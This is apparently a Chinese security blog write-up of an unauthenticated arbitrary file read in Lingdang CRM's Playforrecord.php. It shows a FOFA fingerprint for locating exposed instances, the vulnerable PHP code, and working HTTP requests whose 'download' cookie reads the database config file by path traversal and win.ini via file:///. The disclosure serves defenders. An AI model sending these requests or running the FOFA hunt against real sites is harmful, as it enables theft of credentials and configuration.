灵当CRM Playforrecord.php 文件读取漏洞


漏洞简介

灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。是一款功能全面、用户友好、支持定制化、数据分析强大且价格合理的CRM软件,是中小型企业实现销售、服务、财务一体化管理的理想选择。灵当CRM /crm/modules/Accounts/Playforrecord.php 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

影响版本

fofa语法

body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")

漏洞分析

直接看 /crm/modules/Accounts/Playforrecord.php 的业务实现逻辑如下

<?php
if(!empty($_REQUEST['download'])){
    downfile2($_REQUEST['download']);
}else{
    global $adb;
    global $current_user;
    $newfolder='';
    $languageType= getLanguageType($current_user);
    $smarty = new lingdangCRM_Smarty;
    $smarty->display("Playforrecord.tpl");
}
function downfile2($fileurl)
{
    ob_start();
    $filename=$fileurl;
    $date=date("Ymd-H:i:m");
    header( "Content-type:   application/octet-stream ");
    header( "Accept-Ranges:   bytes ");
    header( "Content-Disposition:   attachment;   filename= {$date}.wav");
    $size=readfile($filename);
    header( "Accept-Length: " .$size);
}

将 download 参数的值无任何过滤和校验就带入 downfile2 方法中,而其直接使用 readfile 方法进行文件操作,因此直接跟文件路径或者利用PHP伪协议 file:/// 读取系统任意文件,造成任意文件读取漏洞。因其使用 $_REQUEST 进行获取参数,因此支持 GET POST COOKIE三种方式传参,需要注意。

漏洞复现

漏洞利用-读取数据库配置信息

GET /crm/modules/Accounts/Playforrecord.php HTTP/1.1
Host: 51mis.mrxn.net
Cookie: download=../../config.inc.php

或者 读取系统其他位置文件,如 c:/windows/win.ini

GET /crm/modules/Accounts/Playforrecord.php HTTP/1.1
Host: 51mis.mrxn.net
Cookie: download=file:///c:/windows/win.ini


手机扫码阅读

用友U8 CRM biztype.php SQL注入漏洞

Salia PLCC check_req.php 命令执行漏洞

评 论